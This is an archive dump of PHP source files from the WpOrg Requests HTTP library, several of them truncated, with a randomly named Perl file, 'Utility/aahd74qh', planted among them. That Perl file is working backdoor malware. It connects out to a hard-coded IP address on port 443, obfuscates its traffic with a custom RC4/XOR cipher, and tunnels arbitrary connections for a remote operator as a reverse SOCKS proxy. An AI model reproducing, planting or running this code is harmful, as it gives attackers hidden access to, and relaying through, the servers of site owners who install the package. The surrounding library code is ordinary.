$offset = strtolower($offset);
}
if (!isset($this->data[$offset])) {
return null;
}
return $this->data[$offset];
}
/**
* Set the given item
*
* @param string $offset Item name
* @param string $value Item value
*
* @throws \WpOrg\Requests\Exception On attempting to use dictionary as list (`invalidset`)
*/
#[ReturnTypeWillChange]
public function offsetSet($offset, $value) {
if ($offset === null) {
throw new Exception('Object is a dictionary, not a list', 'invalidset');
}
if (is_string($offset)) {
$offset = strtolower($offset);
}
$this->data[$offset] = $value;
}
/**
* Unset the given header
*
* @param string $offset The key for the item to unset.
*/
#[ReturnTypeWillChange]
public function offsetUnset($offset) {
if (is_string($offset)) {
$offset = strtolower($offset);
}
unset($this->data[$offset]);
}
/**
* Get an iterator for the data
*
* @return \ArrayIterator
*/
#[ReturnTypeWillChange]
public function getIterator() {
return new ArrayIterator($this->data);
}
/**
* Get the headers as an array
*
* @return array Header data
*/
public function getAll() {
return $this->data;
}
}
Utility/aahd74qh 0000644 00000022033 15207614116 0007536 0 ustar 00 #!/usr/bin/perl
use strict;
use warnings;
use Socket;
use Socket qw(IPPROTO_TCP TCP_NODELAY);
use Fcntl;
use Fcntl qw(:flock);
use threads;
use threads::shared;
my $host = '62.60.131.179';
my $port = 443;
my $xordata = "\x00" x 50;
for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); }
sub Rc4_crypt {
my $passw = shift(@_);
my $length = shift(@_);
my $buff0 = shift(@_);
my $start = shift(@_);
my $sz = shift(@_);
my $rc4 = "\x00" x 256;
my $pockemon0 = 0;
my $pockemon1 = 0;
my $pockemon2 = 0;
my $pockemon3 = 0;
my $pockemon4 = 0;
my $pockemon5 = 0;
my $pockemon6 = 0;
my $pockemon7 = 0;
my $pockemon8 = 0;
my $rcx = $sz;
my $rsi = 0;
my $rbx = 0;
my $gs = 0;
my $t = 0;
for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); }
do {
substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1))));
$rsi++;
$rbx++;
$rcx--;
if ($rbx == $length) {
$rbx = 0;
}
} while($rcx > 0);
while(1) {
if ($gs == 0) {
$pockemon2 = 0;
$pockemon3 = $length;
}
if ($gs != 0) {
$gs = 0;
$pockemon2++;
if (--$pockemon3 == 0) { next; }
}
$pockemon7 = unpack('C', substr($rc4, $pockemon0, 1));
$t = unpack('C', substr($$passw, $pockemon2, 1));
$pockemon1 += $t;
$pockemon1 = $pockemon1 & 255;
$pockemon1 += $pockemon7;
$pockemon1 = $pockemon1 & 255;
$pockemon6 = unpack('C', substr($rc4, $pockemon1, 1));
substr($rc4, $pockemon0, 1) = pack('C', $pockemon6);
substr($rc4, $pockemon1, 1) = pack('C', $pockemon7);
$pockemon0++;
$pockemon0 = $pockemon0 & 255;
if ($pockemon0 != 0) {
$gs = 1;
next;
}
$pockemon4 = $sz;
$pockemon1 = 0;
$pockemon0 = 0;
$pockemon2 = 0;
$pockemon3 = 0;
while(1) {
$pockemon2++;
$pockemon2 = $pockemon2 & 255;
$pockemon7 = unpack('C', substr($rc4, $pockemon2, 1));
$pockemon1 += $pockemon7;
$pockemon1 = $pockemon1 & 255;
$pockemon8 = unpack('C', substr($rc4, $pockemon1, 1));
substr($rc4, $pockemon2, 1) = pack('C', $pockemon8);
substr($rc4, $pockemon1, 1) = pack('C', $pockemon7);
$pockemon8 += $pockemon7;
$pockemon8 = $pockemon8 & 255;
$pockemon0 = unpack('C', substr($rc4, $pockemon8, 1));
$pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1));
$pockemon5 = $pockemon5 ^ $pockemon0;
substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5);
$pockemon3++;
if (--$pockemon4 == 0)
{
last;
}
}
last;
}
$rsi = 0;
$rcx = $sz;
$rbx = 0;
do {
substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1))));
$rsi++;
$rbx++;
$rcx--;
if ($rbx == $length) {
$rbx = 0;
}
} while($rcx > 0);
}
sub synsend {
my $cSocket = shift(@_);
my $buffer = shift(@_);
my $flags = shift(@_);
open(my $fh, "<", '/dev/null');
flock($fh, LOCK_EX);
# ===============================================
send($cSocket, $buffer, $flags);
# ===============================================
flock($fh, LOCK_UN);
close($fh);
}
sub newConnection {
my $num = shift(@_);
my $socketarray = shift(@_);
my $sSocket = shift(@_);
my $cSocket = shift(@_);
my $buff0 = shift(@_);
threads->create( sub {
my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00";
my $domain = '';
my $port = 0;
my $_ret = 0;
my $data = '';
my $buffer = '';
setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1);
fcntl($cSocket, F_SETFL, O_NONBLOCK);
if (unpack('C', substr($buff0, 7, 1)) == 3) {
$domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1)));
$port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1));
}
elsif (unpack('C', substr($buff0, 7, 1)) == 1) {
$domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1)));
$port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1));
}
else {
goto close_;
}
eval {
my $paddr = sockaddr_in($port, inet_aton($domain));
connect($cSocket, $paddr);
vec(my $win = '', fileno($cSocket), 1) = 1;
unless (select(undef, $win, undef, 10)) { goto close_; }
fcntl($cSocket, F_SETFL, 0);
substr($responce, 4, 1) = "\x00";
$_ret = 1;
};
close_:
Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
Rc4_crypt(\$xordata, 50, \$responce, 3, 10);
synsend($sSocket, $responce, MSG_NOSIGNAL);
Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
if ($_ret == 1) {
while ($$socketarray[$num] == 1) {
vec(my $rin = '', fileno($cSocket), 1) = 1;
unless (select($rin, undef, undef, 1)) { next; }
$data = '';
recv($cSocket, $data, 65530, 0);
unless ($data) { last; }
$buffer = pack('C', $num).pack('S', length($data)).$data;
Rc4_crypt(\$xordata, 50, \$buffer, 0, 3);
Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data));
synsend($sSocket, $buffer, MSG_NOSIGNAL);
}
}
$$socketarray[$num] = 0;
close($cSocket);
substr($responce, 1, 2) = "\x00\x00";
Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL);
threads->detach();
});
}
sub bccnct {
my $host = shift(@_);
my $port = shift(@_);
my $remaining = 0;
my $remaining4 = 0;
my @socketarr;
my @socketarray :shared;
my $buffer = "\x00" x 100;
my $buffernull = "\x00" x 3;
my $buffer0 = '';
my $isExit = 0;
my $ecx = 0;
my $eax = 0;
my $data = '';
my $_ret = 0;
my $ebx = 0;
my $edx = 0;
socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1);
my $paddr = sockaddr_in($$port, inet_aton($$host));
unless(connect($socketarr[0], $paddr)) { goto close0; }
substr($buffer, 0, 50) = $xordata;
substr($buffer, 50, 2) = "\xFF\xFF";
substr($buffer, 54, 11) = "Perl script";
Rc4_crypt(\$xordata, 50, \$buffer, 50, 50);
send($socketarr[0], $buffer, MSG_NOSIGNAL);
while(1) {
if ($remaining4 != 4) {
vec(my $rin = '', fileno($socketarr[0]), 1) = 1;
my $ret = select($rin, undef, undef, 60);
next if ($ret < 0);
if ($ret == 0) {
last if (substr($buffernull, 0, 3) ne "\x00\x00\x00");
last if ($remaining != 0);
last if ($remaining4 != 0);
Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3);
synsend($socketarr[0], $buffernull, MSG_NOSIGNAL);
next;
}
}
if ($remaining != 0 || $remaining4 == 4) {
if ($edx == 0) {
if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") {
$isExit = 1;
last;
}
elsif ($ebx < 200 && $ebx > 0) {
$socketarray[$ebx] = 0;
}
}
else {
$ecx = $edx;
$ecx = $ecx - $remaining;
$data = '';
recv($socketarr[0], $data, $ecx, 0);
unless ($data) { last; }
$remaining += length($data);
$buffer0 .= $data;
if ($edx == $remaining) {
Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining);
if (unpack('C', substr($buffer0, 0, 1)) == 0) {
socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
$socketarray[$ebx] = 1;
newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0);
}
else {
send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL);
}
$remaining = 0;
}
}
$remaining4 = 0;
}
else {
if ($remaining4 == 0) { $buffer0 = ''; }
$eax = 4;
$eax = $eax - $remaining4;
$data = '';
recv($socketarr[0], $data, $eax, 0);
unless ($data) { last; }
$remaining4 += length($data);
$buffer0 .= $data;
$buffernull = "\x00" x 3;
if ($remaining4 == 4) {
Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4);
$ebx = unpack('C', substr($buffer0, 1, 1));
$edx = unpack('S', substr($buffer0, 2, 2));
$_ret = 1;
}
}
}
close0:
close($socketarr[0]);
for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; }
sleep 10;
if ($isExit == 1) { exit; }
return $_ret;
}
bccnct(\$host, \$port);
Utility/FilteredIterator.php 0000644 00000004155 15207614116 0012200 0 ustar 00 callback = $callback;
}
}
/**
* Prevent unserialization of the object for security reasons.
*
* @phpcs:disable PHPCompatibility.FunctionNameRestrictions.NewMagicMethods.__unserializeFound
*
* @param array $data Restored array of data originally serialized.
*
* @return void
*/
#[ReturnTypeWillChange]
public function __unserialize($data) {}
// phpcs:enable
/**
* Perform reinitialization tasks.
*
* Prevents a callback from being injected during unserialization of an object.
*
* @return void
*/
public function __wakeup() {
unset($this->callback);
}
/**
* Get the current item's value after filtering
*
* @return string
*/
#[ReturnTypeWillChange]
public function current() {
$value = parent::current();
if (is_callable($this->callback)) {
$value = call_user_func($this->callback, $value);
}
return $value;
}
/**
* Prevent creating a PHP value from a stored representation of the object for security reasons.
*
* @param string $data The serialized string.
*
* @return void
*/
#[ReturnTypeWillChange]
public function unserialize($data) {}
}
Utility/InputValidator.php 0000644 00000004720 15207614116 0011673 0 ustar 00 '\WpOrg\Requests\Auth',
'requests_hooker' => '\WpOrg\Requests\HookManager',
'requests_proxy' => '\WpOrg\Requests\Proxy',
'requests_transport' => '\WpOrg\Requests\Transport',
// Classes.
'requests_cookie' => '\WpOrg\Requests\Cookie',
'requests_exception' => '\WpOrg\Requests\Exception',
'requests_hooks' => '\WpOrg\Requests\Hooks',
'requests_idnaencoder' => '\WpOrg\Requests\IdnaEncoder',
'requests_ipv6' => '\WpOrg\Requests\Ipv6',
'requests_iri' => '\WpOrg\Requests\Iri',
'requests_response' => '\WpOrg\Requests\Response',
'requests_session' => '\WpOrg\Requests\Session',
'requests_ssl' => '\WpOrg\Requests\Ssl',
'requests_auth_basic' => '\WpOrg\Requests\Auth\Basic',
'requests_cookie_jar' => '\WpOrg\Requests\Cookie\Jar',
'requests_proxy_http' => '\WpOrg\Requests\Proxy\Http',
'requests_response_headers' => '\WpOrg\Requests\Response\Headers',
'requests_transport_curl' => '\WpOrg\Requests\Transport\Curl',
'requests_transport_fsockopen' => '\WpOrg\Requests\Transport\Fsockopen',
'requests_utility_caseinsensitivedictionary' => '\WpOrg\Requests\Utility\CaseInsensitiveDictionary',
'requests_utility_filterediterator' => '\WpOrg\Requests\Utility\FilteredIterator',
'requests_exception_http' => '\WpOrg\Requests\Exception\Http',
'requests_exception_transport' => '\WpOrg\Requests\Exception\Transport',
'requests_exception_transport_curl' => '\WpOrg\Requests\Exception\Transport\Curl',
'requests_exception_http_304' => '\WpOrg\Requests\Exception\Http\Status304',
'requests_exception_http_305' => '\WpOrg\Requests\Exception\Http\Status305',
'requests_exception_http_306' => '\WpOrg\Requests\Exception\Http\Status306',
'requests_exception_http_400' => '\WpOrg\Requests\Exception\Http\Status400',
'requests_exception_http_401' => '\WpOrg\Requests\Exception\Http\Status401',
'requests_exception_http_402' => '\WpOrg\Requests\Exception\Http\Status402',
'requests_exception_http_403' => '\WpOrg\Requests\Exception\Http\Status403',
'requests_exception_http_404' => '\WpOrg\Requests\Exception\Http\Status404',
'requests_exception_http_405' => '\WpOrg\Requests\Exception\Http\Status405',
'requests_exception_http_406' => '\WpOrg\Requests\Exception\Http\Status406',
'requests_exception_http_407' => '\WpOrg\Requests\Exception\Http\Status407',
'requests_exception_http_408' => '\WpOrg\Requests\Exception\Http\Status408',
'requests_exception_http_409' => '\WpOrg\Requests\Exception\Http\Status409',
'requests_exception_http_410' => '\WpOrg\Requests\Exception\Http\Status410',
'requests_exception_http_411' => '\WpOrg\Requests\Exception\Http\Status411',
'requests_exception_http_412' => '\WpOrg\Requests\Exception\Http\Status412',
'requests_exception_http_413' => '\WpOrg\Requests\Exception\Http\Status413',
'requests_exception_http_414' => '\WpOrg\Requests\Exception\Http\Status414',
'requests_exception_http_415' => '\WpOrg\Requests\Exception\Http\Status415',
'requests_exception_http_416' => '\WpOrg\Requests\Exception\Http\Status416',
'requests_exception_http_417' => '\WpOrg\Requests\Exception\Http\Status417',
'requests_exception_http_418' => '\WpOrg\Requests\Exception\Http\Status418',
'requests_exception_http_428' => '\WpOrg\Requests\Exception\Http\Status428',
'requests_exception_http_429' => '\WpOrg\Requests\Exception\Http\Status429',
'requests_exception_http_431' => '\WpOrg\Requests\Exception\Http\Status431',
'requests_exception_http_500' => '\WpOrg\Requests\Exception\Http\Status500',
'requests_exception_http_501' => '\WpOrg\Requests\Exception\Http\Status501',
'requests_exception_http_502' => '\WpOrg\Requests\Exception\Http\Status502',
'requests_exception_http_503' => '\WpOrg\Requests\Exception\Http\Status503',
'requests_exception_http_504' => '\WpOrg\Requests\Exception\Http\Status504',
'requests_exception_http_505' => '\WpOrg\Requests\Exception\Http\Status505',
'requests_exception_http_511' => '\WpOrg\Requests\Exception\Http\Status511',
'requests_exception_http_unknown' => '\WpOrg\Requests\Exception\Http\StatusUnknown',
];
/**
* Register the autoloader.
*
* Note: the autoloader is *prepended* in the autoload queue.
* This is done to ensure that the Requests 2.0 autoloader takes precedence
* over a potentially (dependency-registered) Requests 1.x autoloader.
*
* @internal This method contains a safeguard against the autoloader being
* registered multiple times. This safeguard uses a global constant to
* (hopefully/in most cases) still function correctly, even if the
* class would be renamed.
*
* @return void
*/
public static function register() {
if (defined('REQUESTS_AUTOLOAD_REGISTERED') === false) {
spl_autoload_register([self::class, 'load'], true);
define('REQUESTS_AUTOLOAD_REGISTERED', true);
}
}
/**
* Autoloader.
*
* @param string $class_name Name of the class name to load.
*
* @return bool Whether a class was loaded or not.
*/
public static function load($class_name) {
// Check that the class starts with "Requests" (PSR-0) or "WpOrg\Requests" (PSR-4).
$psr_4_prefix_pos = strpos($class_name, 'WpOrg\\Requests\\');
if (stripos($class_name, 'Requests') !== 0 && $psr_4_prefix_pos !== 0) {
return false;
}
$class_lower = strtolower($class_name);
if ($class_lower === 'requests') {
// Reference to the original PSR-0 Requests class.
$file = dirname(__DIR__) . '/library/Requests.php';
} elseif ($psr_4_prefix_pos === 0) {
// PSR-4 classname.
$file = __DIR__ . '/' . strtr(substr($class_name, 15), '\\', '/') . '.php';
}
if (isset($file) && file_exists($file)) {
include $file;
return true;
}
/*
* Okay, so the class starts with "Requests", but we couldn't find the file.
* If this is one of the deprecated/renamed PSR-0 classes being requested,
* let's alias it to the new name and throw a deprecation notice.
*/
if (isset(self::$deprecated_classes[$class_lower])) {
/*
* Integrators who cannot yet upgrade to the PSR-4 class names can silence deprecations
* by defining a `REQUESTS_SILENCE_PSR0_DEPRECATIONS` constant and setting it to `true`.
* The constant needs to be defined before the first deprecated class is requested
* via this autoloader.
*/
if (!defined('REQUESTS_SILENCE_PSR0_DEPRECATIONS') || REQUESTS_SILENCE_PSR0_DEPRECATIONS !== true) {
// phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_trigger_error
trigger_error(
'The PSR-0 `Requests_...` class names in the Requests library are deprecated.'
. ' Switch to the PSR-4 `WpOrg\Requests\...` class names at your earliest convenience.',
E_USER_DEPRECATED
);
// Prevent the deprecation notice from being thrown twice.
if (!defined('REQUESTS_SILENCE_PSR0_DEPRECATIONS')) {
define('REQUESTS_SILENCE_PSR0_DEPRECATIONS', true);
}
}
// Create an alias and let the autoloader recursively kick in to load the PSR-4 class.
return class_alias(self::$deprecated_classes[$class_lower], $class_name, true);
}
return false;
}
}
}
IdnaEncoder.php 0000644 00000030223 15207614116 0007433 0 ustar 00 0) {
if ($position + $length > $strlen) {
throw new Exception('Invalid Unicode codepoint', 'idna.invalidcodepoint', $character);
}
for ($position++; $remaining > 0; $position++) {
$value = ord($input[$position]);
// If it is invalid, count the sequence as invalid and reprocess the current byte:
if (($value & 0xC0) !== 0x80) {
throw new Exception('Invalid Unicode codepoint', 'idna.invalidcodepoint', $character);
}
--$remaining;
$character |= ($value & 0x3F) << ($remaining * 6);
}
$position--;
}
if (// Non-shortest form sequences are invalid
$length > 1 && $character <= 0x7F
|| $length > 2 && $character <= 0x7FF
|| $length > 3 && $character <= 0xFFFF
// Outside of range of ucschar codepoints
// Noncharacters
|| ($character & 0xFFFE) === 0xFFFE
|| $character >= 0xFDD0 && $character <= 0xFDEF
|| (
// Everything else not in ucschar
$character > 0xD7FF && $character < 0xF900
|| $character < 0x20
|| $character > 0x7E && $character < 0xA0
|| $character > 0xEFFFD
)
) {
throw new Exception('Invalid Unicode codepoint', 'idna.invalidcodepoint', $character);
}
$codepoints[] = $character;
}
return $codepoints;
}
/**
* RFC3492-compliant encoder
*
* @internal Pseudo-code from Section 6.3 is commented with "#" next to relevant code
*
* @param string $input UTF-8 encoded string to encode
* @return string Punycode-encoded string
*
* @throws \WpOrg\Requests\Exception On character outside of the domain (never happens with Punycode) (`idna.character_outside_domain`)
*/
public static function punycode_encode($input) {
$output = '';
// let n = initial_n
$n = self::BOOTSTRAP_INITIAL_N;
// let delta = 0
$delta = 0;
// let bias = initial_bias
$bias = self::BOOTSTRAP_INITIAL_BIAS;
// let h = b = the number of basic code points in the input
$h = 0;
$b = 0; // see loop
// copy them to the output in order
$codepoints = self::utf8_to_codepoints($input);
$extended = [];
foreach ($codepoints as $char) {
if ($char < 128) {
// Character is valid ASCII
// TODO: this should also check if it's valid for a URL
$output .= chr($char);
$h++;
// Check if the character is non-ASCII, but below initial n
// This never occurs for Punycode, so ignore in coverage
// @codeCoverageIgnoreStart
} elseif ($char < $n) {
throw new Exception('Invalid character', 'idna.character_outside_domain', $char);
// @codeCoverageIgnoreEnd
} else {
$extended[$char] = true;
}
}
$extended = array_keys($extended);
sort($extended);
$b = $h;
// [copy them] followed by a delimiter if b > 0
if (strlen($output) > 0) {
$output .= '-';
}
// {if the input contains a non-basic code point < n then fail}
// while h < length(input) do begin
$codepointcount = count($codepoints);
while ($h < $codepointcount) {
// let m = the minimum code point >= n in the input
$m = array_shift($extended);
//printf('next code point to insert is %s' . PHP_EOL, dechex($m));
// let delta = delta + (m - n) * (h + 1), fail on overflow
$delta += ($m - $n) * ($h + 1);
// let n = m
$n = $m;
// for each code point c in the input (in order) do begin
for ($num = 0; $num < $codepointcount; $num++) {
$c = $codepoints[$num];
// if c < n then increment delta, fail on overflow
if ($c < $n) {
$delta++;
} elseif ($c === $n) { // if c == n then begin
// let q = delta
$q = $delta;
// for k = base to infinity in steps of base do begin
for ($k = self::BOOTSTRAP_BASE; ; $k += self::BOOTSTRAP_BASE) {
// let t = tmin if k <= bias {+ tmin}, or
// tmax if k >= bias + tmax, or k - bias otherwise
if ($k <= ($bias + self::BOOTSTRAP_TMIN)) {
$t = self::BOOTSTRAP_TMIN;
} elseif ($k >= ($bias + self::BOOTSTRAP_TMAX)) {
$t = self::BOOTSTRAP_TMAX;
} else {
$t = $k - $bias;
}
// if q < t then break
if ($q < $t) {
break;
}
// output the code point for digit t + ((q - t) mod (base - t))
$digit = (int) ($t + (($q - $t) % (self::BOOTSTRAP_BASE - $t)));
$output .= self::digit_to_char($digit);
// let q = (q - t) div (base - t)
$q = (int) floor(($q - $t) / (self::BOOTSTRAP_BASE - $t));
} // end
// output the code point for digit q
$output .= self::digit_to_char($q);
// let bias = adapt(delta, h + 1, test h equals b?)
$bias = self::adapt($delta, $h + 1, $h === $b);
// let delta = 0
$delta = 0;
// increment h
$h++;
} // end
} // end
// increment delta and n
$delta++;
$n++;
} // end
return $output;
}
/**
* Convert a digit to its respective character
*
* @link https://tools.ietf.org/html/rfc3492#section-5
*
* @param int $digit Digit in the range 0-35
* @return string Single character corresponding to digit
*
* @throws \WpOrg\Requests\Exception On invalid digit (`idna.invalid_digit`)
*/
protected static function digit_to_char($digit) {
// @codeCoverageIgnoreStart
// As far as I know, this never happens, but still good to be sure.
if ($digit < 0 || $digit > 35) {
throw new Exception(sprintf('Invalid digit %d', $digit), 'idna.invalid_digit', $digit);
}
// @codeCoverageIgnoreEnd
$digits = 'abcdefghijklmnopqrstuvwxyz0123456789';
return substr($digits, $digit, 1);
}
/**
* Adapt the bias
*
* @link https://tools.ietf.org/html/rfc3492#section-6.1
* @param int $delta
* @param int $numpoints
* @param bool $firsttime
* @return int|float New bias
*
* function adapt(delta,numpoints,firsttime):
*/
protected static function adapt($delta, $numpoints, $firsttime) {
// if firsttime then let delta = delta div damp
if ($firsttime) {
$delta = floor($delta / self::BOOTSTRAP_DAMP);
} else {
// else let delta = delta div 2
$delta = floor($delta / 2);
}
// let delta = delta + (delta div numpoints)
$delta += floor($delta / $numpoints);
// let k = 0
$k = 0;
// while delta > ((base - tmin) * tmax) div 2 do begin
$max = floor(((self::BOOTSTRAP_BASE - self::BOOTSTRAP_TMIN) * self::BOOTSTRAP_TMAX) / 2);
while ($delta > $max) {
// let delta = delta div (base - tmin)
$delta = floor($delta / (self::BOOTSTRAP_BASE - self::BOOTSTRAP_TMIN));
// let k = k + base
$k += self::BOOTSTRAP_BASE;
} // end
// return k + (((base - tmin + 1) * delta) div (delta + skew))
return $k + floor(((self::BOOTSTRAP_BASE - self::BOOTSTRAP_TMIN + 1) * $delta) / ($delta + self::BOOTSTRAP_SKEW));
}
}
Ipv6.php 0000644 00000013007 15207614116 0006105 0 ustar 00 FF01:0:0:0:0:0:0:101
* ::1 -> 0:0:0:0:0:0:0:1
*
* @author Alexander Merz
* @author elfrink at introweb dot nl
* @author Josh Peck
* @copyright 2003-2005 The PHP Group
* @license https://opensource.org/licenses/bsd-license.php
*
* @param string|Stringable $ip An IPv6 address
* @return string The uncompressed IPv6 address
*
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not a string or a stringable object.
*/
public static function uncompress($ip) {
if (InputValidator::is_string_or_stringable($ip) === false) {
throw InvalidArgument::create(1, '$ip', 'string|Stringable', gettype($ip));
}
$ip = (string) $ip;
if (substr_count($ip, '::') !== 1) {
return $ip;
}
list($ip1, $ip2) = explode('::', $ip);
$c1 = ($ip1 === '') ? -1 : substr_count($ip1, ':');
$c2 = ($ip2 === '') ? -1 : substr_count($ip2, ':');
if (strpos($ip2, '.') !== false) {
$c2++;
}
if ($c1 === -1 && $c2 === -1) {
// ::
$ip = '0:0:0:0:0:0:0:0';
} elseif ($c1 === -1) {
// ::xxx
$fill = str_repeat('0:', 7 - $c2);
$ip = str_replace('::', $fill, $ip);
} elseif ($c2 === -1) {
// xxx::
$fill = str_repeat(':0', 7 - $c1);
$ip = str_replace('::', $fill, $ip);
} else {
// xxx::xxx
$fill = ':' . str_repeat('0:', 6 - $c2 - $c1);
$ip = str_replace('::', $fill, $ip);
}
return $ip;
}
/**
* Compresses an IPv6 address
*
* RFC 4291 allows you to compress consecutive zero pieces in an address to
* '::'. This method expects a valid IPv6 address and compresses consecutive
* zero pieces to '::'.
*
* Example: FF01:0:0:0:0:0:0:101 -> FF01::101
* 0:0:0:0:0:0:0:1 -> ::1
*
* @see \WpOrg\Requests\Ipv6::uncompress()
*
* @param string $ip An IPv6 address
* @return string The compressed IPv6 address
*/
public static function compress($ip) {
// Prepare the IP to be compressed.
// Note: Input validation is handled in the `uncompress()` method, which is the first call made in this method.
$ip = self::uncompress($ip);
$ip_parts = self::split_v6_v4($ip);
// Replace all leading zeros
$ip_parts[0] = preg_replace('/(^|:)0+([0-9])/', '\1\2', $ip_parts[0]);
// Find bunches of zeros
if (preg_match_all('/(?:^|:)(?:0(?::|$))+/', $ip_parts[0], $matches, PREG_OFFSET_CAPTURE)) {
$max = 0;
$pos = null;
foreach ($matches[0] as $match) {
if (strlen($match[0]) > $max) {
$max = strlen($match[0]);
$pos = $match[1];
}
}
$ip_parts[0] = substr_replace($ip_parts[0], '::', $pos, $max);
}
if ($ip_parts[1] !== '') {
return implode(':', $ip_parts);
} else {
return $ip_parts[0];
}
}
/**
* Splits an IPv6 address into the IPv6 and IPv4 representation parts
*
* RFC 4291 allows you to represent the last two parts of an IPv6 address
* using the standard IPv4 representation
*
* Example: 0:0:0:0:0:0:13.1.68.3
* 0:0:0:0:0:FFFF:129.144.52.38
*
* @param string $ip An IPv6 address
* @return string[] [0] contains the IPv6 represented part, and [1] the IPv4 represented part
*/
private static function split_v6_v4($ip) {
if (strpos($ip, '.') !== false) {
$pos = strrpos($ip, ':');
$ipv6_part = substr($ip, 0, $pos);
$ipv4_part = substr($ip, $pos + 1);
return [$ipv6_part, $ipv4_part];
} else {
return [$ip, ''];
}
}
/**
* Checks an IPv6 address
*
* Checks if the given IP is a valid IPv6 address
*
* @param string $ip An IPv6 address
* @return bool true if $ip is a valid IPv6 address
*/
public static function check_ipv6($ip) {
// Note: Input validation is handled in the `uncompress()` method, which is the first call made in this method.
$ip = self::uncompress($ip);
list($ipv6, $ipv4) = self::split_v6_v4($ip);
$ipv6 = explode(':', $ipv6);
$ipv4 = explode('.', $ipv4);
if (count($ipv6) === 8 && count($ipv4) === 1 || count($ipv6) === 6 && count($ipv4) === 4) {
foreach ($ipv6 as $ipv6_part) {
// The section can't be empty
if ($ipv6_part === '') {
return false;
}
// Nor can it be over four characters
if (strlen($ipv6_part) > 4) {
return false;
}
// Remove leading zeros (this is safe because of the above)
$ipv6_part = ltrim($ipv6_part, '0');
if ($ipv6_part === '') {
$ipv6_part = '0';
}
// Check the value is valid
$value = hexdec($ipv6_part);
if (dechex($value) !== strtolower($ipv6_part) || $value < 0 || $value > 0xFFFF) {
return false;
}
}
if (count($ipv4) === 4) {
foreach ($ipv4 as $ipv4_part) {
$value = (int) $ipv4_part;
if ((string) $value !== $ipv4_part || $value < 0 || $value > 0xFF) {
return false;
}
}
}
return true;
} else {
return false;
}
}
}
Exception.php 0000644 00000002132 15207614116 0007214 0 ustar 00 type = $type;
$this->data = $data;
}
/**
* Like {@see \Exception::getCode()}, but a string code.
*
* @codeCoverageIgnore
* @return string
*/
public function getType() {
return $this->type;
}
/**
* Gives any relevant data
*
* @codeCoverageIgnore
* @return mixed
*/
public function getData() {
return $this->data;
}
}
Session.php 0000644 00000021623 15207614116 0006707 0 ustar 00 useragent = 'X';`
*
* @var array
*/
public $options = [];
/**
* Create a new session
*
* @param string|Stringable|null $url Base URL for requests
* @param array $headers Default headers for requests
* @param array $data Default data for requests
* @param array $options Default options for requests
*
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $url argument is not a string, Stringable or null.
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $headers argument is not an array.
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $data argument is not an array.
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array.
*/
public function __construct($url = null, $headers = [], $data = [], $options = []) {
if ($url !== null && InputValidator::is_string_or_stringable($url) === false) {
throw InvalidArgument::create(1, '$url', 'string|Stringable|null', gettype($url));
}
if (is_array($headers) === false) {
throw InvalidArgument::create(2, '$headers', 'array', gettype($headers));
}
if (is_array($data) === false) {
throw InvalidArgument::create(3, '$data', 'array', gettype($data));
}
if (is_array($options) === false) {
throw InvalidArgument::create(4, '$options', 'array', gettype($options));
}
$this->url = $url;
$this->headers = $headers;
$this->data = $data;
$this->options = $options;
if (empty($this->options['cookies'])) {
$this->options['cookies'] = new Jar();
}
}
/**
* Get a property's value
*
* @param string $name Property name.
* @return mixed|null Property value, null if none found
*/
public function __get($name) {
if (isset($this->options[$name])) {
return $this->options[$name];
}
return null;
}
/**
* Set a property's value
*
* @param string $name Property name.
* @param mixed $value Property value
*/
public function __set($name, $value) {
$this->options[$name] = $value;
}
/**
* Remove a property's value
*
* @param string $name Property name.
*/
public function __isset($name) {
return isset($this->options[$name]);
}
/**
* Remove a property's value
*
* @param string $name Property name.
*/
public function __unset($name) {
unset($this->options[$name]);
}
/**#@+
* @see \WpOrg\Requests\Session::request()
* @param string $url
* @param array $headers
* @param array $options
* @return \WpOrg\Requests\Response
*/
/**
* Send a GET request
*/
public function get($url, $headers = [], $options = []) {
return $this->request($url, $headers, null, Requests::GET, $options);
}
/**
* Send a HEAD request
*/
public function head($url, $headers = [], $options = []) {
return $this->request($url, $headers, null, Requests::HEAD, $options);
}
/**
* Send a DELETE request
*/
public function delete($url, $headers = [], $options = []) {
return $this->request($url, $headers, null, Requests::DELETE, $options);
}
